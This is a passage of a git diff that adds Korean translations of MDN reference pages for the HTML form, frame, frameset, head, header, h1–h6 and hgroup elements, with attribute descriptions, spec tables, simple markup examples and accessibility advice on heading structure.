+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-form-element', '&lt;form&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-form-element', '&lt;form&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.3', '&lt;form&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.form")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><label><a href="/ko/docs/Web/Guide/HTML/Forms" title="/en-US/docs/Web/Guide/HTML/Forms">HTML 양식 안내서</a></label></li>
+</ul>
diff --git a/files/ko/web/html/element/frame/index.html b/files/ko/web/html/element/frame/index.html
new file mode 100644
index 0000000000..d6d8f8ef0e
--- /dev/null
+++ b/files/ko/web/html/element/frame/index.html
@@ -0,0 +1,56 @@
+---
+title: <frame>
+slug: Web/HTML/Element/frame
+translation_of: Web/HTML/Element/frame
+---
+<div>{{Deprecated_header}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><code>&lt;frame&gt;</code>은 다른 HTML 문서가 표시될 수 있는 특정 영역을 정의하는 element이다. frame은 {{HTMLElement("frameset")}}내에서 사용되어야 한다.</p>
+
+<p>&lt;frame&gt; element의 사용은 screen reader 사용자들의 접근성 부족과같은 기능문제같은 특정 단점 때문에 권장되지 않는다<br>
+ &lt;frame&gt; element 대신에 {{HTMLElement("iframe")}} 가 아마 더 적합할것이다.</p>
+
+<h2 id="속성(Attributes)">속성(=Attributes)</h2>
+
+<p>다른 모든 HTML elments와 마찬가지로, &lt;frame&gt; element는 전역속성(<a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>)이 적용된다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>이 속성은 frame으로 표시될 문서를 기입합니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p>이 속성은 프레임을 명명하는데 사용됩니다. 명명되지않은  모든 링크들은 그들이 속해있는 그 프레임 안에서 열릴것입니다</p>
+ </dd>
+ <dt> </dt>
+ <dt>{{htmlattrdef("noresize")}}</dt>
+ <dd>이 속성은 사용자가 프레임크기를 조정할수 없게합니다.</dd>
+ <dt>{{htmlattrdef("scrolling")}}</dt>
+ <dd><br>
+ 이 속성은 스크롤바의 유무를 결정합니다. 이 속성을 사용하지않으면 특정상황에서 자동으로 브라우져에 스크롤바가 생깁니다.<br>
+ 두가지를 선택할 수 있습니다. "yes"면 항상 스크롤바를 보여주고 "no"면 항상 스크롤바를 보여주지 않습니다.</dd>
+ <dt>{{htmlattrdef("marginheight")}}</dt>
+ <dd>이 속성은 프레임 사이의 여백 높이를 정의할때 사용됩니다.</dd>
+ <dt>{{htmlattrdef("marginwidth")}}</dt>
+ <dd>이 속성은 프레임 사이의 여백 넓이를 정의할때 사용됩니다.</dd>
+ <dt>{{htmlattrdef("frameborder")}}</dt>
+ <dd>이 속성을 사용하면 프레임에 대한 경계선을 넣을 수 있습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: html">&lt;frameset cols="50%,50%"&gt;
+ &lt;frame src="https://developer.mozilla.org/en/HTML/Element/iframe" /&gt;
+ &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTMLElement("frameset")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/frameset/index.html b/files/ko/web/html/element/frameset/index.html
new file mode 100644
index 0000000000..a65b4a20d7
--- /dev/null
+++ b/files/ko/web/html/element/frameset/index.html
@@ -0,0 +1,39 @@
+---
+title: <frameset>
+slug: Web/HTML/Element/frameset
+translation_of: Web/HTML/Element/frameset
+---
+<div>{{Deprecated_header}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><code>&lt;frameset&gt;</code>은 HTML element로써 {{HTMLElement("frame")}} element을 포함하고 사용된다.</p>
+
+<p class="note"><strong>Note: </strong>frame의 사용이 지금 {{HTMLElement("iframe")}}의 사용에 따라줄어드는 추세이기 때문에 , 이 element는 최근 웹사이트에서 잘 쓰이지 않는다.</p>
+
+<h2 id="속성(Attributes)">속성(=Attributes)</h2>
+
+<p>다른 모든 HTML elments와 마찬가지로, &lt;frameset&gt; element는 전역속성(<a href="/en-US/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>)이 적용된다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cols")}}</dt>
+ <dd>이 속성은 프레임셋안의 가로공간의 갯수와 크기를 정합니다.</dd>
+ <dt>{{htmlattrdef("rows")}}</dt>
+ <dd>이 속성은 프레임셋안의 세로공간의 갯수와 크기를 정합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush:html">&lt;frameset cols="50%,50%"&gt;
+ &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frameset" /&gt;
+ &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTMLElement("frame")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/head/index.html b/files/ko/web/html/element/head/index.html
new file mode 100644
index 0000000000..4dd99da8dd
--- /dev/null
+++ b/files/ko/web/html/element/head/index.html
@@ -0,0 +1,129 @@
+---
+title: '<head>: 문서 메타데이터 (헤더) 요소'
+slug: Web/HTML/Element/head
+tags:
+ - Element
+ - HTML
+ - HTML document metadata
+ - 'HTML:Metadata content'
+ - Reference
+ - Web
+ - 요소
+translation_of: Web/HTML/Element/head
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;head&gt;</code> 요소</strong>는 기계가 식별할 수 있는 문서 정보(메타데이터)를 담습니다. 정보로는 문서가 사용할 <a href="/ko/docs/Web/HTML/Element/title">제목</a>, <a href="/ko/docs/Web/HTML/Element/script">스크립트</a>, <a href="/ko/docs/Web/HTML/Element/style">스타일 시트</a> 등이 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>&lt;head&gt;</code>의 주 목적은 기계 처리를 위한 정보이고, 사람이 읽을 수 있는 정보가 아닙니다. 최상위 제목, 작성자 목록 등 사람에게 보여야 할 정보는 {{HTMLElement("header")}} 요소를 사용하세요.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>
+ <p>현재 문서가 {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}} 문서거나, 제목 정보가 더 높은 단계의 규약에 존재하는 경우(HTML 이메일의 제목처럼) 0개 이상의 메타에이터 콘텐츠.</p>
+
+ <p>이외에는 하나 이상의 메타데이터 콘텐츠. 단, 정확히 한 개의 {{htmlelement("title")}} 요소를 포함해야 합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td><code>&lt;head&gt;</code> 요소 내의 첫 번째 것이 요소라면 여는 태그를 생략할 수 있습니다.<br>
+ <code>&lt;head&gt;</code> 요소 뒤의 첫 번째 항목이 공백문자나 주석이 아니라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("html")}} 요소의 첫 번째 자식으로 배치.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 요소</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLHeadElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;문서 제목&lt;/title&gt;
+ &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>HTML5 호환 브라우저는 <code>&lt;head&gt;</code>가 없는 경우 자동으로 생성합니다. 하지만 <a href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">오래된 구형 브라우저에서는 그렇지 않습니다.</a></p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.head")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;head&gt;</code> 안에 배치할 수 있는 요소
+
+ <ul>
+ <li>{{HTMLElement("title")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+ <li>{{HTMLElement("link")}}</li>
+ <li>{{HTMLElement("style")}}</li>
+ <li>{{HTMLElement("meta")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("noscript")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/header/index.html b/files/ko/web/html/element/header/index.html
new file mode 100644
index 0000000000..51a8f41d1f
--- /dev/null
+++ b/files/ko/web/html/element/header/index.html
@@ -0,0 +1,109 @@
+---
+title: <header>
+slug: Web/HTML/Element/header
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/header
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;header&gt;</code> 요소</strong>는 소개 및 탐색에 도움을 주는 콘텐츠를 나타냅니다. 제목, 로고, 검색 폼, 작성자 이름 등의 요소도 포함할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/header.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 단, 다른 <code>&lt;header&gt;</code> 또는 {{htmlelement("footer")}}가 자손으로 올 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소. 단, {{htmlelement("address")}}, {{htmlelement("footer")}}, 또는 다른 <code>&lt;header&gt;</code>의 자손으로 사용할 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;header&gt;</code> 요소는 구획 콘텐츠가 아니므로 개요에 구획을 생성하지 않습니다. 대신 주위 구획의 제목({{htmlelement("Heading_Elements", "&lt;h1&gt;-&lt;h6&gt;")}} 요소)을 감싸기 위한 요소지만, 필수 사항은 <strong>아닙니다</strong>.</p>
+
+<h3 id="역사적_사용처">역사적 사용처</h3>
+
+<p><code>&lt;header&gt;</code>는 {{glossary("HTML5")}}에서야 명세에 포함됐지만, 사실 HTML의 시작부터 존재했습니다. <a href="http://info.cern.ch/">세계 최초의 웹사이트</a>에서 확인할 수 있듯 원래는 {{htmlelement("head")}}요소로서 사용했지만, 어느 순간부터 다른 이름이 됐습니다. 덕분에 <code>&lt;header&gt;</code>는 나중에 다른 역할을 맡을 수 있었습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="페이지_제목">페이지 제목</h3>
+
+<pre class="brush: html">&lt;header&gt;
+ &lt;h1&gt;Main Page Title&lt;/h1&gt;
+ &lt;img src="mdn-logo-sm.png" alt="MDN logo"&gt;
+&lt;/header&gt;
+</pre>
+
+<h3 id="글_제목">글 제목</h3>
+
+<pre class="brush: html">&lt;article&gt;
+ &lt;header&gt;
+ &lt;h2&gt;The Planet Earth&lt;/h2&gt;
+ &lt;p&gt;Posted on Wednesday, &lt;time datetime="2017-10-04"&gt;4 October 2017&lt;/time&gt; by Jane Smith&lt;/p&gt;
+ &lt;/header&gt;
+ &lt;p&gt;We live on a planet that's blue and green, with so many things still unseen.&lt;/p&gt;
+ &lt;p&gt;&lt;a href="https://janesmith.com/the-planet-earth/"&gt;Continue reading....&lt;/a&gt;&lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.header")}}</p>
diff --git a/files/ko/web/html/element/heading_elements/index.html b/files/ko/web/html/element/heading_elements/index.html
new file mode 100644
index 0000000000..87e972e996
--- /dev/null
+++ b/files/ko/web/html/element/heading_elements/index.html
@@ -0,0 +1,242 @@
+---
+title: '<h1>–<h6>: HTML 구획 제목 요소'
+slug: Web/HTML/Element/Heading_Elements
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/Heading_Elements
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;h1&gt;</code>–<code>&lt;h6&gt;</code> 요소</strong>는 6단계의 구획 제목을 나타냅니다. 구획 단계는 <code>&lt;h1&gt;</code>이 가장 높고 <code>&lt;h6&gt;</code>은 가장 낮습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/h1-h6.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#제목_콘텐츠">제목 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소. {{HTMLElement("hgroup")}} 요소의 자식으로 사용하지 마세요. 더 이상 쓰이지 않는 요소입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLHeadingElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code> 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>사용자 에이전트가 제목의 정보를 사용해 자동으로 문서 콘텐츠의 표를 만드는 등의 작업을 수행할 수 있습니다.</li>
+ <li>글씨 크기를 위해 제목 태그를 사용하지 마세요. 대신 {{glossary("CSS")}}의 {{cssxref("font-size")}} 속성을 사용하세요.</li>
+ <li>제목 단계를 건너뛰는 것을 피하세요. 언제나 <code>&lt;h1&gt;</code>로 시작해서, <code>&lt;h2&gt;</code><code>,</code> 순차적으로 기입하세요.</li>
+ <li>페이지 당 하나의 <code>&lt;h1&gt;</code>만 사용하세요. 여러 개를 써도 오류는 나지 않겠지만, 단일 <code>&lt;h1&gt;</code>이 모범 사례로 꼽힙니다. 논리적으로 생각했을 때도, <code>&lt;h1&gt;</code>은 가장 중요한 제목이므로 전체 페이지의 목적을 설명해야 할 것입니다. 두 개의 제목을 가진 책이나, 여러 개의 이름을 가진 영화는 볼 수 없죠! 또한 스크린 리더 사용자와 {{glossary("SEO")}}에도 더 적합합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_제목_단계">모든 제목 단계</h3>
+
+<p>다음 코드는 모든 단계의 제목을 보입니다.</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+&lt;h5&gt;Heading level 5&lt;/h5&gt;
+&lt;h6&gt;Heading level 6&lt;/h6&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('모든_제목_단계', '280', '300', '') }}</p>
+
+<h3 id="예제_페이지">예제 페이지</h3>
+
+<p>다음 코드는 약간의 제목과 내용을 보여줍니다.</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading elements&lt;/h1&gt;
+&lt;h2&gt;Summary&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;Examples&lt;/h2&gt;
+&lt;h3&gt;Example 1&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h3&gt;Example 2&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;See also&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제_페이지', '280', '480', '') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="탐색">탐색</h3>
+
+<p>스크린 리더 사용자가 흔히 사용하는 탐색 기법은 제목에서 제목으로 뛰어넘으며 페이지 콘텐츠를 빠르게 파악하는 것입니다. 따라서 제목 단계를 뛰어넘으면 중간에 빠진 제목이 어디 있는 건지 모르므로 사용자의 혼란을 야기할 수 있습니다.</p>
+
+<h4 id="하지_말것">하지 말것</h4>
+
+<pre class="brush: html example-bad">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+</pre>
+
+<h4 id="할것">할것</h4>
+
+<pre class="brush: html example-good">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+</pre>
+
+<h4 id="중첩">중첩</h4>
+
+<p>하위 구획으로 제목을 중첩해 콘텐츠의 구조를 나타낼 수 있습니다. 대부분의 스크린 리더는 페이지의 제목을 정렬한 목록도 생성해 제공하므로, 사용자가 빠르게 콘텐츠 구조를 파악할 수 있도록 도와줍니다.</p>
+
+<ol>
+ <li><code>h1</code> Beetles
+
+ <ol>
+ <li><code>h2</code> Etymology</li>
+ <li><code>h2</code> Distribution and Diversity</li>
+ <li><code>h2</code> Evolution
+ <ol>
+ <li><code>h3</code> Late Paleozoic</li>
+ <li><code>h3</code> Jurassic</li>
+ <li><code>h3</code> Cretaceous</li>
+ <li><code>h3</code> Cenozoic</li>
+ </ol>
+ </li>
+ <li><code>h2</code> External Morphology
+ <ol>
+ <li><code>h3</code> Head
+ <ol>
+ <li><code>h4</code> Mouthparts</li>
+ </ol>
+ </li>
+ <li><code>h3</code> Thorax
+ <ol>
+ <li><code>h4</code> Prothorax</li>
+ <li><code>h4</code> Pterothorax</li>
+ </ol>
+ </li>
+ <li><code>h3</code> Legs</li>
+ <li><code>h3</code> Wings</li>
+ <li><code>h3</code> Abdomen</li>
+ </ol>
+ </li>
+ </ol>
+ </li>
+</ol>
+
+<p>중첩 제목에서, 하위 구획을 닫을 땐 제목 단계를 위로 "건너뛸" 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/headings/">Headings • Page Structure • WAI Web Accessibility Tutorials</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-descriptive.html">Understanding Success Criterion 2.4.6 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-headings.html">Understanding Success Criterion 2.4.10 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="구획_콘텐츠_레이블">구획 콘텐츠 레이블</h3>
+
+<p>스크린 리더 사용자가 자주 사용하는 다른 기술은 <a href="/ko/docs/Web/HTML/Element#콘텐츠_구획">콘텐츠 구획</a>의 목록을 생성한 후, 이를 통해 페이지 레이아웃을 파악하는 것입니다.</p>
+
+<p>콘텐츠 구획에는 <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code>와 {{htmlattrxref("id")}} 특성을 함께 사용해 이름, 즉 레이블을 붙일 수 있습니다. 레이블은 현재 구획의 목적을 간결하게 설명해야 합니다. 레이블 기법은 한 페이지에 다수의 구획이 있을 때 유용하게 사용할 수 있습니다.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html">&lt;header&gt;
+ &lt;nav aria-labelledby="primary-navigation"&gt;
+ &lt;h2 id="primary-navigation"&gt;주 탐색창&lt;/h2&gt;
+ &lt;!-- navigation items --&gt;
+ &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;!-- page content --&gt;
+
+&lt;footer&gt;
+ &lt;nav aria-labelledby="footer-navigation"&gt;
+ &lt;h2 id="footer-navigation"&gt;하단 탐색창&lt;/h2&gt;
+ &lt;!-- navigation items --&gt;
+ &lt;/nav&gt;
+&lt;/footer&gt;
+</pre>
+
+<p>위의 예제에서 스크린 리더는 두 개의 {{HTMLElement("nav")}} 구획이 있으며, 하나는 "주 탐색창", 다른 하나는 "하단 탐색창"이라고 불린다는 사실을 표현합니다. 레이블을 지정하지 않았다면, 사용자가 각 <code>&lt;nav&gt;</code> 요소의 콘텐츠를 일일히 분석해 목적을 알아내야 했을 것입니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/labels/#using-aria-labelledby">Labeling Regions • Page Structure • W3C WAI Web Accessibility Tutorials</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1-h2-h3-h4-h5-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.h1")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}}</li>
+ <li>{{HTMLElement("div")}}</li>
+ <li>{{HTMLElement("section")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/hgroup/index.html b/files/ko/web/html/element/hgroup/index.html
new file mode 100644
index 0000000000..56244c233d
--- /dev/null
+++ b/files/ko/web/html/element/hgroup/index.html
@@ -0,0 +1,105 @@
+---
+title: <hgroup>
+slug: Web/HTML/Element/hgroup
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/hgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;hgroup&gt;</code> 요소</strong>는 문서 구획의 다단계 제목을 나타냅니다. 다수의 <code>{{htmlelement("Heading_Elements", "&lt;h1&gt;-&lt;h6&gt;")}}</code> 요소를 묶을 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hgroup.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
